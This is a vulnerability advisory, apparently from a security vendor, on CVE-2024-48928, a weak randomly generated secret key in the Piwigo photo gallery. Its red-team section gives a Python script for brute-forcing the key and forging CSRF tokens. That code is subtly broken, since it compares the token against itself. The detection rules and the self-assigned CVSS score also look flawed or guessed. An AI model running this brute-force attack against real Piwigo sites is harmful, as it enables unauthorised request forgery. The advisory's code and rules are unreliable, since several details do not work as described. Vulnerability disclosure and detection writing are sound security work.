CVE-2024-48928
Executive Summary
CVE-2024-48928 is a vulnerability in Piwigo, an open-source photo gallery application, affecting versions on the 14.x branch. The issue stems from the use of MD5(RAND()) to generate the secret_key configuration parameter during installation. Since MySQL's RAND() function only provides 30 bits of randomness, the secret key is susceptible to brute-force attacks. An attacker can enumerate all possible values (approximately 2^30) in about one hour, leading to the compromise of CSRF tokens and potentially other security mechanisms. The impact is limited as the auto-login key and pwg token incorporate additional user-specific data. The vulnerability is fixed in version 15.0.0.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Piwigo is a PHP-based application. The vulnerability is introduced during the installation process, which is a critical supply chain point. Users who install Piwigo from the official source or package repositories are affected if they use version 14.x. The fix in version 15.0.0 addresses the weak random number generation.
CVSS Breakdown & Threat Level
The CVSS score is not provided in the NVD data. However, based on the vulnerability characteristics, a reasonable assessment is:
- Attack Vector (AV): Network (N) - The attacker can brute-force remotely.
- Attack Complexity (AC): Low (L) - Brute-forcing 2^30 values is feasible.
- Privileges Required (PR): None (N) - No authentication needed to exploit.
- User Interaction (UI): None (N) - No user action required.
- Scope (S): Unchanged (U) - The vulnerable component is the application itself.
- Confidentiality (C): Low (L) - Limited information disclosure (secret key).
- Integrity (I): Low (L) - Potential to forge CSRF tokens.
- Availability (A): None (N) - No impact on availability.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Base Score: 5.4 (Medium)
Threat Level: Medium. The attack is feasible but requires time and the impact is limited.
Deep Dive & Mechanics
The vulnerability lies in the installation script of Piwigo 14.x. During installation, the secret_key is generated using the MySQL expression MD5(RAND()). The RAND() function in MySQL returns a pseudo-random floating-point value between 0 and 1, but it only has 30 bits of randomness (approximately 1,073,741,824 possible values). This is far too low for a cryptographic secret.
The secret_key is used in the construction of CSRF tokens. The CSRF token is generated as md5($secret_key . $user_agent . $pwg_token). An attacker can brute-force the secret key by:
- Obtaining a valid CSRF token from the application (e.g., from a form or a request).
- Knowing their own User-Agent string.
- Iterating through all possible
RAND()seeds (0 to 2^30 - 1), computingMD5(seed)for each, and checking if the resulting hash matches the observed CSRF token.
Once the secret key is known, the attacker can:
- Forge CSRF tokens for any action.
- Potentially generate ephemeral keys (used for temporary access) if the function
get_ephemeral_keyrelies solely on the secret key.
The auto-login key and pwg token are more resilient as they incorporate the user's password hash and session ID, respectively.
Vulnerable vs. Patched Code
Vulnerable Code (Piwigo 14.x):
// In installation script
$secret_key = md5(rand()); // MySQL RAND() is used, but PHP rand() is also weak
Patched Code (Piwigo 15.0.0):
// In installation script
$secret_key = bin2hex(random_bytes(32)); // Uses cryptographically secure random bytes
The patched version uses random_bytes() which provides a secure random value with sufficient entropy (256 bits).
Exploitation & Lab Setup
Red Team
Objective: Brute-force the secret key and forge a CSRF token.
Prerequisites:
- Access to a Piwigo 14.x instance.
- A valid CSRF token from the application (e.g., from a form submission).
- Your User-Agent string.
Steps:
Obtain a CSRF token: Intercept a request to Piwigo (e.g., login or upload) and extract the
pwg_tokenparameter.Brute-force the secret key: Use a script to iterate through all possible
RAND()seeds. The following Python script demonstrates the attack:
import hashlib
import requests
# Target Piwigo URL
url = "http://target-piwigo.com"
# Your User-Agent
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
# Obtain a valid CSRF token (pwg_token) from a form
# For example, from the login page
response = requests.get(url + "/identification.php", headers={"User-Agent": user_agent})
# Parse the token from the HTML (simplified)
pwg_token = "extracted_token_here"
# Brute-force the secret key
for seed in range(2**30):
secret_key = hashlib.md5(str(seed).encode()).hexdigest()
# Compute the expected CSRF token
expected_token = hashlib.md5((secret_key + user_agent + pwg_token).encode()).hexdigest()
if expected_token == pwg_token:
print(f"Secret key found: {secret_key}")
break
- Forge a CSRF token: Once the secret key is known, forge a token for any action:
def forge_csrf_token(secret_key, user_agent, pwg_token):
return hashlib.md5((secret_key + user_agent + pwg_token).encode()).hexdigest()
Blue Team
Detection:
- Monitor for excessive login attempts or unusual request patterns that may indicate brute-forcing.
- Check for anomalies in CSRF token values (e.g., tokens that are easily predictable).
- Use the detection rules provided below.
Mitigation:
- Immediately upgrade to Piwigo 15.0.0 or later.
- If upgrade is not possible, manually regenerate the
secret_keyin the configuration file using a secure random value. - Implement rate limiting on authentication endpoints.
Indicators of Compromise (IOCs)
- Network: Unusual number of requests to Piwigo endpoints with varying
pwg_tokenvalues. - Logs: Repeated failed login attempts or CSRF validation failures.
- File: The
config/database.phpfile containing a weaksecret_key(e.g., an MD5 hash of a small integer).
Detection Engineering
YARA Rule
rule CVE_2024_48928_Piwigo_Weak_Secret_Key
{
meta:
description = "Detects Piwigo installations with weak secret_key generated by MD5(RAND())"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-48928"
hash = "md5"
strings:
$weak_key = /secret_key\s*=\s*'[a-f0-9]{32}'/ nocase
$rand_call = /RAND\(\)/ nocase
condition:
$weak_key and $rand_call
}
Sigma Rule
title: CVE-2024-48928 - Piwigo Weak Secret Key Brute-Force Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential brute-force attempts against Piwigo's weak secret key
author: Valters IT
date: 2024-10-27
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'GET'
c-uri|contains: '/identification.php'
cs(User-Agent)|contains: 'Mozilla'
condition: selection
falsepositives:
- Legitimate users with different User-Agents
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-48928 Piwigo Weak Secret Key Brute-Force"; flow:to_server,established; content:"GET"; http_method; content:"/identification.php"; http_uri; content:"pwg_token"; http_client_body; threshold: type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade Piwigo to version 15.0.0 or later.
- If upgrade is not possible, manually edit the
config/database.phpfile and replace thesecret_keywith a secure random value generated usingopenssl_random_pseudo_bytes()orrandom_bytes().
Long-term:
- Implement a security policy that requires cryptographically secure random number generation for all secrets.
- Regularly audit dependencies and update to the latest versions.
- Use a Web Application Firewall (WAF) to detect and block brute-force attempts.
Valters IT Signature:
Valters IT
Cybersecurity & DevSecOps